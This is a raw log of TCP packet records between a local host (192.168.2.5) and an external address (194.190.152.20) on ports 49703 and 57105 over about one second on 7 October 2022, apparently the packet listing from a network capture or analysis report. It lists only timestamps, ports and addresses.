Oct 7, 2022 05:02:36.905744076 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.905934095 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.905977011 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.906119108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.906193972 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.906444073 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.906512022 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.906963110 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.907008886 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.907035112 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.907078028 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.907517910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.907547951 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.907572031 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.907594919 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.907737017 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.907788992 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.908077955 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.908123970 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.962476969 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.962503910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.962681055 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.962692976 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.962810040 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.962872028 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.962985992 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.963252068 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.963299036 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.963367939 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.963419914 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.963515997 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.963567019 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.963716030 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.963800907 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.964221001 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.964296103 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.964493990 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.964543104 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.964584112 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.964639902 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.964896917 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.964961052 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.964968920 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.965023041 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.965277910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.965323925 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.965451002 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.965498924 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.965583086 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.965646982 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.965790987 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.965842962 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.966010094 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.966062069 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.966295958 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.966347933 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.966425896 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.966481924 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.966742992 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.966798067 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.966953039 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.967004061 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.967176914 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.967231035 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.967248917 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.967308998 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.967539072 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.967593908 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.967794895 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.967839956 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.967983007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.968030930 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.968214035 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.968262911 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.968373060 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.968446016 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.968898058 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.968947887 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.969074011 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.969093084 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.969149113 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.969149113 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.969500065 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.969573021 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.969715118 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.969768047 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.969836950 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.969896078 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.970038891 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.970103979 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.970273972 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.970325947 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.970334053 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.970383883 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.970624924 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.970681906 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.970794916 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.970860958 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.971183062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.971251011 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.971395016 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.971466064 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.971579075 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.971645117 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.971765995 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.971824884 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.971935987 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.972001076 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.972162008 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.972227097 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.972335100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.972397089 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.972544909 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.972599030 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.972778082 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.972841024 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.973011971 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.973030090 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.973084927 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.973084927 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.973320007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.973378897 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.973617077 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.973684072 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.973795891 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.973854065 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.974034071 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.974097967 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.974225044 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.974272966 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.974314928 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.974380970 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.974742889 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.974771023 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.974800110 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.974845886 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.975110054 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.975167036 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.975259066 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.975308895 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.975389957 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.975452900 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.975697994 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.975771904 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.975889921 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.975951910 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.976341963 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.976408958 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.976553917 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.976609945 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.976857901 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.976922989 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.977165937 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.977231026 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.977384090 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.977425098 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.977473974 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.977519035 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.977780104 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.977826118 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.978060961 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.978105068 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.978127956 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.978168964 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.978393078 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.978441954 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:36.978703022 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:36.978749990 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.024554014 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.024580956 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.024717093 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.024717093 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.024851084 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.024945021 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.025157928 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.025176048 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.025214911 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.025257111 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.025540113 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.025619030 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.025654078 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.025712967 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.025850058 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.025919914 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.026160002 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.026189089 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.026245117 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.026245117 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.026597977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.026684999 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.026799917 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.026880026 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.027277946 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.027559042 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.027571917 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.027652979 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.027781010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.027858973 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.028093100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.028171062 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.028182983 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.028244019 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.028479099 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.028538942 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.028646946 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.028708935 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.028858900 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.028923988 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.029004097 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.029071093 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.029316902 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.029383898 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.030251980 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.030272007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.030287981 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.030355930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.030373096 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.030373096 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.030433893 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.030683041 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.030756950 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.030771017 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.030812979 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.030958891 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.031019926 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.031157970 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.031234026 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.031505108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.031582117 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.031598091 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.031676054 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.031929016 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.032020092 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.032206059 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.032278061 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.032471895 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.032545090 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.032656908 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.032718897 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.032721043 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.032788992 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.033039093 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.033123016 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.033516884 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.033581972 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.033695936 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.033766031 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.033886909 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.033942938 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.034006119 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.034096003 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.034308910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.034368992 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.034547091 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.034564972 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.034612894 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.034655094 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.034838915 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.034904003 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.035156965 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.035250902 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.035274982 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.035340071 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.035554886 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.035613060 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.035756111 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.035814047 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.035995007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.036062002 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.036118031 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.036176920 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.036432981 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.036500931 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.036648035 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.036722898 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.036833048 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.036921024 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.037242889 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.037319899 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.037553072 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.037611008 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.037841082 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.037910938 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.037925005 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.038043976 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.038448095 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.038716078 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.038916111 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.039357901 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.039386988 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.039513111 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.039633036 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.039997101 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.040117025 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.040312052 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.040604115 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.040792942 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.040915012 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.041238070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.041435957 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.041631937 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.041960955 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.041977882 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.042237043 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.042442083 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.042674065 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.042752028 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.043076038 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.043191910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.043478012 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.043716908 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.043912888 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.044121027 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.044357061 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.044472933 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.044796944 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.044995070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.045175076 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.045639038 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.045835972 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.046077967 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.046154022 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.046313047 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.046680927 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.046729088 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.046919107 CEST	57105	49703	194.190.152.20	192.168.2.5
